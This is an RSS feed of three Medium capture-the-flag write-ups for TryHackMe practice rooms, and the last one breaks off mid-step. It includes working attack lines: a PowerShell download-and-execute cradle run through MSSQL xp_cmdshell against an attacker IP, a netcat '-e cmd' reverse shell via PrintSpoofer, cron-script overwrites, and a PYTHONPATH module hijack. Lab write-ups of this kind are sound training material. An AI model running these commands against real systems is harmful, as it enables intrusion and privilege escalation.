<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aditya Jain on Medium]]></title>
        <description><![CDATA[Stories by Aditya Jain on Medium]]></description>
        <link>https://medium.com/@h4ck3rAditya?source=rss-496b79a2f791------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*pmqpcaLlFigs-1qzdizz7g.jpeg</url>
            <title>Stories by Aditya Jain on Medium</title>
            <link>https://medium.com/@h4ck3rAditya?source=rss-496b79a2f791------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 17:57:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@h4ck3rAditya/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Develpy TryHackMe Writeup]]></title>
            <link>https://medium.com/@h4ck3rAditya/develpy-tryhackme-writeup-a1ff2fe59f8b?source=rss-496b79a2f791------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1ff2fe59f8b</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Aditya Jain]]></dc:creator>
            <pubDate>Mon, 24 Oct 2022 11:16:50 GMT</pubDate>
            <atom:updated>2022-10-24T11:16:50.267Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Join here: </em><a href="https://tryhackme.com/room/bsidesgtdevelpy"><em>https://tryhackme.com/room/bsidesgtdevelpy</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*Rr8-CHsUgCuKOtjNU9-H1A.png" /></figure><p><em>You need to know </em><a href="https://www.w3schools.com/python/"><em>the basic Python programming</em></a><em> and </em><a href="https://www.w3schools.com/python/"><em>Python socket</em></a><em> as the pre-requisites of this challenge. I strongly recommend you to do some reading on the Python socket before proceeding to this challenge. If you have a strong Python background, this is just a piece of cake for you.</em></p><h3><strong><em>Task 1: Develpy</em></strong></h3><p><em>read user.txt and root.txt</em></p><h4>a) Capture user.txt</h4><p><em>As always, fire up your nmap scanner with the following command.</em></p><p><strong><em>nmap -A -v &lt;Machine IP&gt;</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*PN2Qobb27_njvJIS9w364g.png" /></figure><p><em>There are two open ports available which are port 22 (SSH) and port……… 10000? What is port 10000 exactly? Well, it won’t hurt to make a visit to the port via the browser.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*_LaMSkn1NPPgNrshFUs71g.png" /></figure><p><em>Looks like a Python error handling message. The error highlight the input() function and I guess we have input an invalid value which triggered the error. Huh, that is interesting. How about we create a client socket script to communicate with port 10000?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*d4Oc-ZT3B4A39YEW5n2xNw.png" /></figure><p><em>I’m going to send a proper input to the server and see what is the response return from the server.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*ZW2X-Ai_9y8mUlLEhB_2lA.png" /></figure><p><em>Looks like it did return something interesting from the server. How about we send ‘10’ to the server instead of ‘1’.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Jk_x701UqMqt2Jaagf9j8Q.png" /></figure><p><em>It returns 10 sequences of ping’ like response. Huh…….. we are going to exploit the input() function right now. After doing some research, I come across the </em><a href="http://intx0x80.blogspot.com/2017/05/python-input-vulnerability_25.html"><em>python vulnerability</em></a><em>. You can inject a shell inside the input() function. For this challenge, I’m going to create a reverse shell. Use the following python script to create a reverse shell.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*f4qtmxi9btsgy7yM_uxdzA.png" /></figure><p><em>Make sure you change the (https://tryhackme.com/access) and open a Netcat listener in your terminal before running the above Python script.</em></p><p><strong><em>nc -lvnp 4444</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*woG1ztwu5Zc1SOens5-cwg.png" /></figure><p><em>Oh yes, you are know created a reverse shell on the victim machine. After that, we are going to spawn a terminal using the following line.</em></p><p><strong>python -c ‘import pty; pty.spawn(“/bin/sh”)’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*k9QsFujtLk4xwDFe8MYyiQ.png" /></figure><p><em>That is much better. We are going to capture the user’s flag right now.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*fmsH-hOqT8aYhMiw0d3QXw.png" /></figure><h4>b) Capture root’s flag</h4><p><em>Celebrate now while you can, the next task gonna be very tricky. There are two files caught us some attention which is the run.sh and root.sh.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*0BjxcQR-0kzRAfzoY0wMRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*xJwNT20sOoTcjnMS0bA0bA.png" /></figure><p><em>Running the root.sh give us </em><strong><em>‘permission denied’</em></strong><em> while run.sh didn’t give us any interesting result. In addition, we can’t execute sudo -l because we have zero clues on the king’s password. What to do? cronjob perhaps.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*1hethcmbj0bI8eX7CbGVfA.png" /></figure><p><em>Checking the crontab give us the above result. For your information, the cronjob runs the root.sh and run.sh every second. To verify our finding, I compared the creation time for the .pid file and the current time.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*wkC7s1IN4qTkYPapNSx-Dg.png" /></figure><p><em>Yup, the cronjob run every second. By referring back the crontab, the root user somehow bashes the root.sh inside king’s directory. We can remove the root.sh file and create new content within it. For the sake of simplicity, i only pull the root.txt from the root user.</em></p><p><strong><em>rm root.sh<br>echo ‘cp /root/root.txt /home/king/root.txt’ &gt; root.sh</em></strong></p><p><em>Wait for a minute………</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*2rcdFsAbsJkGnsGhCZWGgw.png" /></figure><p><em>Boom, the root.txt is now presented in king’s directory. Read the file and capture the flag.</em></p><blockquote><strong><em>Conclusion</em></strong></blockquote><p><em>That’s it. Hope you learn something today, until next time ;)</em></p><p>Thank you for checking out my walkthrough/writeup of this room! Much love <strong>❤</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1ff2fe59f8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[USTOUN TryHackMe Writeup]]></title>
            <link>https://medium.com/@h4ck3rAditya/ustoun-tryhackme-writeup-ba311da0f140?source=rss-496b79a2f791------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba311da0f140</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Aditya Jain]]></dc:creator>
            <pubDate>Mon, 24 Oct 2022 09:23:55 GMT</pubDate>
            <atom:updated>2022-10-24T09:23:55.098Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Room Link: </em><a href="https://www.tryhackme.com/p/ustoun0">https://www.tryhackme.com/p/ustoun0</a></p><blockquote><strong>Scanning</strong></blockquote><p><em>We perform a quick and aggressive scan (not recommended in real environments) to detect open ports on the server.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*iUPuSrVU3iB2-3NxH86Jtw.png" /></figure><p><em>Then, knowing the ports, we will launch an nmap with scripts and versions.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*DPsVqJ52dFQfALt-hplJVQ.png" /></figure><blockquote><strong>Enumeration</strong></blockquote><p><em>We test if we can authenticate with an anonymous user, we see that we cannot.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*n1oRKQW9eP1mDJvSRRfMqw.png" /></figure><p><em>Another test that I usually do in real environments, is to test with the “guest” user, which is usually enabled by default. As you can see in the evidence, we can use it to get the users by their RID.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*CEIDqBtB5qaYBgZjVjMc8A.png" /></figure><p><em>We create a list of the most relevant users obtained and brute force the “rockyou” dictionary. We will get some credentials.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*HxMbhoY6Foc5-Dxm_XyAZQ.png" /></figure><blockquote><strong>Exploitation</strong></blockquote><p><em>After several tests in different services, we found that the credentials are functional in the “Microsoft SQL Server” service, from here we will be able to load a reverse shell.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*KZCccuYfpcdiBiXFWe7Fyg.png" /></figure><p><em>xp_cmdshell powershell IEX(New-Object Net.webclient).downloadString(\”http://10.11.30.149:8000/m3.ps1\&quot;)</em></p><blockquote><strong>Reverse shell connection</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*QezWU8gv3BxXtLXnt7BYTw.png" /></figure><blockquote><strong>Privilege Escalation</strong></blockquote><p><em>We tried to read the user flag, but we do not have access. We check the user’s privileges and see that we could escalate by impersonating the user “Administrator” using “SeImpersonatePrivilege”.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*zCCGGfuZXsg_rd-hhJrPhg.png" /></figure><p><em>We identify the exact version of Windows installed.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*3B-eGNmy8C5IadVilf4Ifg.png" /></figure><p><em>We download the PrintSpoofer exploit from this </em><a href="https://github.com/itm4n/PrintSpoofer"><em>github</em></a><em>, we also download netcat to the victim machine and run the following command putting a listening netcat on our Kali.</em></p><p><em>.\PrintSpoofer.exe -c “C:\users\SVC-Kerb.DC01\Videos\nc.exe 10.11.30.149 444 -e cmd”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*-JbQwUIt84s5VvPwc70raQ.png" /></figure><blockquote><strong>Reverse shell as Administrator</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*kqd2mdLjBpAagCMTV-NgMw.png" /></figure><p><em>And now we read the two flags.</em></p><blockquote><strong>User flag</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*a3mLFjh2BroRApXUNY2-vw.png" /></figure><blockquote><strong>Administrator flag</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*0zwdcARDf2zCxHbK6O86Wg.png" /></figure><p>Thank you for checking out my walkthrough/writeup of this room! Much love <strong>❤</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba311da0f140" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Agency TryHackMe Writeup]]></title>
            <link>https://medium.com/@h4ck3rAditya/linux-agency-tryhackme-writeup-295ff671ac1f?source=rss-496b79a2f791------2</link>
            <guid isPermaLink="false">https://medium.com/p/295ff671ac1f</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Aditya Jain]]></dc:creator>
            <pubDate>Mon, 24 Oct 2022 08:29:24 GMT</pubDate>
            <atom:updated>2022-10-24T08:29:24.435Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This Room will help you to sharpen your Linux Skills.</em></p><p><em>This Room can be found here:- </em><a href="https://tryhackme.com/room/linuxagency"><em>https://tryhackme.com/room/linuxagency</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SmkPlXgafOo2etzlei0bQA.jpeg" /></figure><blockquote><strong>Task 1: Introduction</strong></blockquote><p>a) Let’s Proceed!</p><p>Answer: No answer needed.</p><p>Deploy the machine and in the meantime, connect to the THM network:</p><p>sudo openvpn — config &lt;your_vpn_file&gt;</p><blockquote><strong>Task 2: Let’s just jump in</strong></blockquote><p>a) SSH into the machine</p><p>ssh agent47@&lt;Machine_IP&gt;<br> &lt;Type Yes when prompted to continue&gt;<br> &lt;Enter agent47’s password&gt;</p><blockquote><strong>Task 3: Linux Fundamentals</strong></blockquote><p><strong>1) What is the mission1 flag?</strong></p><p><em>When you login successfully and it shows a message, the flag for mission1 should be at the very end of that message.</em></p><p><em>use su mission1</em></p><p><em>Enter the whole flag as the password: flag{md5sum}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*cxxQdudeudBg5RQmvGJxuw.png" /></figure><p><strong>2) What is the mission2 flag?</strong></p><p><em>Go to home directory and the flag should be there:</em></p><p><em>cd ~<br> ls</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*PzHmLgTgK8Sf9hgjQB98Ew.png" /></figure><p><strong>3) What is the mission3 flag?</strong></p><p><em>Go to mission3’s home directory and the flag should be in a file. Output it’s content and get the flag:</em></p><p><em>cd ~<br> ls<br> cat flag.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*G9hcgsSvc73ep5lsC52TpA.png" /></figure><p><strong>4) What is the mission4 flag?</strong></p><p><em>cd ~<br> ls<br> cat flag.txt<br> nano flag.txt<br> Ctrl+X to exit nano editor (Press n if prompted to write changes)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*HqPi5S6cxFAsQWNU6bFvww.png" /></figure><p><strong>5) What is the mission5 flag?</strong></p><p><em>cd ~<br> ls<br> cd flag<br> cat flag.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*0E9SjIi4h_drPZTHnw3IEg.png" /></figure><p><strong>6) What is the mission6 flag?</strong></p><p><em>cd ~<br> ls -la<br> cat .flag.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*WmWInwE1vsdiyE06V5lH4g.png" /></figure><p><strong>7) What is the mission7 flag?</strong></p><p><em>cd ~<br> ls -la<br> cd .flag/<br> cat flag.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*tq0azpt_IGHmZV36IGH4kw.png" /></figure><p><strong>8) What is the mission8 flag?</strong></p><p><em>You must get out of mission 6 directory while being mission6 before doing anything. Go to /home directory as mission6</em></p><p><em>su mission6<br> &lt;Enter flag for mission6&gt;<br> cd /home<br> su mission7<br> &lt;Enter flag for mission7&gt;<br> cd mission7<br> ls<br> cat flag.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*jYAhmGagI-11IkE9QbJsVA.png" /></figure><p><strong>9) What is the mission9 flag?</strong></p><p><em>cd ~<br> ls -la<br> locate flag.txt<br> cat /flag.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*1ghu2SMUA576ixypQon8fA.png" /></figure><p><strong>10) What is the mission10 flag?</strong></p><p><em>rockyou.txt is a wordlist containing common passwords but it is a very long list. We know from previous answers that the flag will have ‘mission’ in it so let’s take the output of rockyou.txt and pass it onto grep to filter out any text with ‘mission10’ in it</em></p><p><em>cd ~<br> ls<br> cat rockyou.txt | grep mission10</em></p><p><em>I pressed Ctrl+C to stop the output once I saw the flag.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Rel-Sy8drrNqBjZ9SbT-4Q.png" /></figure><p><strong>11) What is the mission11 flag?</strong></p><p><em>There were a lot of directories and sub-directories so I decided to use locate to find the flag. There will be 2 outputs, /flag.txt and mission11’s flag. The first flag is for mission9 so skip that.</em></p><p><em>cd ~<br> locate flag.txt<br> cat /home/mission10/folder/L4D8/L3D7/L2D2/L1D10/flag.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*-PxbTW8Z3BAE7lTnXnnrUA.png" /></figure><p><strong>12) What is the mission12 flag?</strong></p><p><em>The hint mention EVS(I think it meant EVs) which is short for Environment Variables. There are default environment variables and you can create some and store a value in it. I took a guess and outputted the value of an EV called FLAG.</em></p><p><em>echo $FLAG</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*AINgoWstddxcCoBdlx6EnA.png" /></figure><p><strong>13) What is the mission13 flag?</strong></p><p><em>If you check the permissions on the flag in ~/ directory, you’ll see that it says permission denied. If you check the flag’s permission, you’ll see that no permissions are set, meaning no one can read, write or execute the file. Since the user mission12 owns the file and we are logged in as mission12, we can change it’s permission with chmod.</em></p><p><em>cd ~<br> ls -la | grep flag<br> chmod 777 flag.txt<br> ls -la | grep flag<br> cat flag.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*dhyEoOP8ApKmjhco-n4ETA.png" /></figure><p><strong>14) What is the mission14 flag?</strong></p><p><em>the flag is encoded using base64 which is a form of encoding. To decode it in terminal, we can use base64 as the tool and -d option to decode it.</em></p><p><em>cd ~<br> cat flag.txt | base64 -d</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*g3t-ZLYF1ofmL08nQa8LPw.png" /></figure><p><strong>15) What is the mission15 flag?</strong></p><p><em>The flag is in binary format. Any Binary to ASCII converter should do. Here is the one I used</em></p><p><em>cd ~<br> ls<br> cat flag.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*PNLcSwqyhh1VZcTy0JevsA.png" /></figure><p><em>Copy the flag.txt output and paste it into a Binary to ASCII convertor</em></p><p><a href="https://www.binaryhexconverter.com/binary-to-ascii-text-converter"><em>https://www.binaryhexconverter.com/binary-to-ascii-text-converter</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*x-oIBKZrrT6UNhr2OV3fRg.png" /></figure><p><strong>16) What is the mission16 flag?</strong></p><p><em>cd ~<br>ls<br>cat flat.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*NQvMLUO-Up1u2fKTo8c6_g.png" /></figure><p><em>The flag is in hex format. Any Hex to ASCII converter should do the trick. Here is the one I used</em></p><p><a href="https://www.rapidtables.com/convert/number/hex-to-ascii.html"><em>https://www.rapidtables.com/convert/number/hex-to-ascii.html</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*pgQ0-7XB1RZvSuIlFCibLQ.png" /></figure><p><strong>17) What is the mission17 flag?</strong></p><p><em>cd ~<br> ls -la</em></p><p><em>If you output the contents of this file, you’ll see gibberish. If you check what file type it is, it will say ELF 64 bit LSB shared object. If you check search that online, it will say it is Executable and Linkable Format. If it works as an executable, then let’s execute it. But first we have to give the flag executable permission.</em></p><p><em>file flag<br> chmod 777 flag<br> ./flag</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*cMKicguJJ-P6PVOVbZIy7g.png" /></figure><p><strong>18) What is the mission18 flag?</strong></p><p><em>There is .java file in there. To get the flag, we need to compile the .java file first and then we’ll be able to get the flag.</em></p><p><em>cd ~<br> ls<br> javac flag.java<br> ls<br> java flag</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*XFLToXdvFQqEsdJ7C_Wepw.png" /></figure><p><strong>19) What is the mission19 flag?</strong></p><p><em>Using ‘file’ I was able to confirm it is a file related to ruby and to run a ruby script:</em></p><p><em>cd ~<br> ls -la<br> file flag.rb<br> ruby flag.rb</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*yeDlydmpa8VKkrkOEXzvSg.png" /></figure><p><strong>20) What is the mission20 flag?</strong></p><p><em>Using file, we can see that it is a C file. We need to compile it and then execute the output file :</em></p><p><em>gcc flag.c<br> ./a.out</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*sE6aoI3NHzCBGz0ybQ6JFA.png" /></figure><p><strong>21) What is the mission21 flag?</strong></p><p><em>Looking at the file extension I was able to tell that it is a python file as it ends in ‘.py’. There are 2 versions of python, python2 or normally known as python and python3. Hence why I tried both.</em></p><p><em>cd ~<br> ls<br> python flag.py<br> python3 flag.py</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*BSZsrL5Rr6uZJ52fgNsaFg.png" /></figure><p><strong>22) What is the mission22 flag?</strong></p><p><em>When you login to the next machine, if it doesn’t show a $ sign for a few seconds after entering the password correctly, press Enter and you should see a $ sign.</em></p><p><em>echo $SHELL<br> bash</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*HHGDFwwHkVV8WVHg92m48Q.png" /></figure><p><strong>23) What is the mission23 flag?</strong></p><p><em>In this mission, we only need to spawn a shell using python3 since python3 is our interpreter or current shell.</em></p><p><em>import pty;pty.spawn(‘/bin/bash’)<br> cd ~<br> ls<br> cat flag.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*KrderR-QgJUMPqcJBvNf8w.png" /></figure><p><strong>24) What is the mission24 flag?</strong></p><p><em>cd ~<br> ls<br> cat message.txt<br> cat /etc/hosts<br> wget mission24.com<br> ls<br> cat index.html | grep mission</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*GJiy83RmVyHdlms2GSV3tA.png" /></figure><p><strong>25) What is the mission25 flag?</strong></p><p><em>cd ~<br> ls -la<br> cat .viminfo | grep mission</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*P-esMimtvusrUCYG_5rbXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*fCZyCI10D2CcuVMBO_4Q_g.png" /></figure><p><strong>26) What is the mission26 flag?</strong></p><p><em>The path variable for most commands is not set for this user and hence there is an error for the command you type. To fix this, we have to call the tool directory from it’s path:</em></p><p><em>cd ~<br> /bin/cat flag.txt</em></p><p><em>Once you get the flag, su will also not work when trying to change users. Again, we have to call su from it’s path</em></p><p><em>/bin/su mission26<br> &lt;Enter the flag for mission26 here&gt;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*9pvNn6QA0V9OTxaYMSSe0g.png" /></figure><p><strong>27) What is the mission27 flag?</strong></p><p><em>cd ~<br> ls -la<br> file flag.jpg</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*b1JTmW2dDh_qrQ3fQKO5Hw.png" /></figure><p><strong>28) What is the mission28 flag?</strong></p><p><em>ls -la</em></p><p><em>file flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz# The file is a gzip as seem from above command’s output. Lets decompress:gzip -d flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz# Instead of writing the full name, just type flag and then press tab to autocompletefile flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png# Now it’s a GIF image data filecat flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png</em></p><p><em>Again, type flag and press tab for autocomplete, if it doesn’t work just copy the name.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*BtIfFTQFz4HLEoBpFUE5zw.png" /></figure><p><strong>29) What is the mission29 flag?</strong></p><p><em>`ls ~`<br> `cat ~/txt.galf`<br> # Copy the flag which has characters in reverse<br> exit<br> # Use rev to reverse output of the flag(Ref)<br> echo &lt;Put flag here in quotations&gt; | rev</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*0wAnXF5cYnQ-0luvG-yBOQ.png" /></figure><p><strong>30) What is the mission30 flag?</strong></p><p><em>cd bludit/<br> ls -la<br> cat .htpasswd</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*dcFTzhe0y6fb7Ee1EASy_w.png" /></figure><p><strong>31) What is viktor’s Flag?</strong></p><p><em>cd ~/Escalator/.git/logs<br> cat HEAD</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*WZqolXZ5p5guPDIVJpewjQ.png" /></figure><blockquote><strong>Task 4: Privilege Escalation</strong></blockquote><p><em>Ultimately, we’ll keep going with privilege escalation techniques.</em></p><p><strong>1) su into viktor user using viktor’s flag as password</strong></p><p><em>su viktor<br>&lt;Enter viktor’s flag&gt;</em></p><p><strong>2) What is dalia’s flag?</strong></p><p><em>Firstly, we check </em><strong><em>sudo </em></strong><em>rights, but it can’t be used for this part. Secondly, when we review</em><strong><em> /etc/crontabs</em></strong><em>, something looks like interesting:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iycf33kUJUrD0mBW2ecgNw.png" /></figure><p><em>Check this script, and also we have permission to execute this script and cronjob per minute. One more thing, 47.sh script is same with the output of the decode of the base64 decode.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*hqPP6NtKi18MhDVRv8a_PQ.png" /></figure><p><em>Let’s try to get a reverse shell. You can use: </em><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp"><em>https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*6HqC6T_mwJ6F7gqBBT6s-w.png" /></figure><p><em>Before each 30th.second we must modify 47.sh script, on the other hand this script will be removed at the beginning of each minute. Our opponent is time, we shouldn’t miss it. Now we got a shell, and we found dalia’s flag:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*XqzXTiL0CsqQxjTfZZoGIA.png" /></figure><p><em>dalia</em></p><p><em>We’ve a shell but when we ctrl+c we can miss it, we should it upgrade like in the below:</em></p><p><em>The first thing: to do is use </em><strong><em>python3 -c ‘import pty;pty.spawn(“/bin/bash”)’</em></strong><em> , which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit prettier, but we still won’t be able to use tab autocomplete or the arrow keys, and Ctrl + C will still kill the shell.<br> -Step two is: </em><strong><em>export TERM=xterm </em></strong><em>— this will give us access to term commands such as clear.<br> -Finally (and most importantly) we will background the shell using Ctrl + Z. Back in our own terminal we use stty raw -echo; fg. This does two things: first, it turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes). It then foregrounds the shell, thus completing the process.<br> -Note that if the shell dies, any input in your own terminal will not be visible (as a result of having disabled terminal echo). To fix this, type reset and press enter.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*CZDJQt4lOS0breEf7sMYRw.png" /></figure><p><strong>3) What is silvio’s flag?</strong></p><p><em>Check it sudo rights: </em><a href="https://gtfobins.github.io/gtfobins/zip/#sudo"><em>https://gtfobins.github.io/gtfobins/zip/#sudo</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*vmd6s4JLGPz5ki8hjS-g5w.png" /></figure><p><em>Run as silvio with sudo, you’ll gain silvio:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*IYzssICsbclZinmT9oS1wg.png" /></figure><p><strong>4) What is reza’s flag?</strong></p><p><em>Control sudo rights:</em><a href="https://gtfobins.github.io/gtfobins/git/#sudo"><em>https://gtfobins.github.io/gtfobins/git/#sudo</em></a><em> →(a)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*5onZ1n0E_LytEyZCkqisLg.png" /></figure><p><em>Run as reza again:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*H6D5IdPM2iG8KGrdDQTEqw.png" /></figure><p><strong>5) What is jordan’s flag?</strong></p><p><em>If you do sudo -l, you’ll see that you can set environment variables and you can run the /opt/scripts/Gun-Shop.py with Jordan user privilege.</em></p><p><em>sudo -l<br>sudo -u jordan /opt/scripts/Gun-Shop.py#</em></p><p><em>When you run the script, it will say shop module not found. Because there is no such module installed on the system which is named shop so let’s make a script which will elevate our privelege.# Create a file with the name shop.py on your attacking machine and add the following to it:<br>import os<br>os.system(“/bin/bash”)python -m SimpleHTTPServer# The above python command opens a server at your VPN IP as listed on THM with port 8000. Go to the http://&lt;Your_THM_IP&gt;:8000/ to see if it works. See if the shop.py is there on the webpage. Right click on shop.py in the browser and copy it’s link.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*0PKs5Omw2bPu90DD6JWTjQ.png" /></figure><p><em>On the remote machine where reza is logged in, do the following:</em></p><p><em>cd /tmp<br>wget http://&lt;Your_THM_IP&gt;:8000/shop.py<br>sudo -u jordan PYTHONPATH=/tmp /opt/scripts/Gun-Shop.py#</em></p><p><em>We are setting PYTHONPATH along with sudo and then running the script so that when the script is run, it will look through the python paths one of which will be /tmp and in tmp it will find a shop.py file which will be used as the module for the Gun-Shop.py script. The script starts a bash shell but since it is run with Jordan’s privilege, we will get jordan user privilege.</em></p><p><em>cd /home/jordan<br>ls<br>cat flag.txt | rev#</em></p><p><em>The flags characters are in reverse order so we can use rev to get it back to the correct form</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Z67SLMc3MRy6wBlhwX1UaA.png" /></figure><p><strong><em>6) What is ken’s flag?</em></strong></p><p><em>sudo -l<br>sudo -u ken /usr/bin/less /etc/profile#</em></p><p><em>It will open up a file that you can see in 2nd image below. Just start typing the next line of code when you see a similar image and then press Enter.</em></p><p><em>!/bin/bash<br>cd /home/ken<br>cat 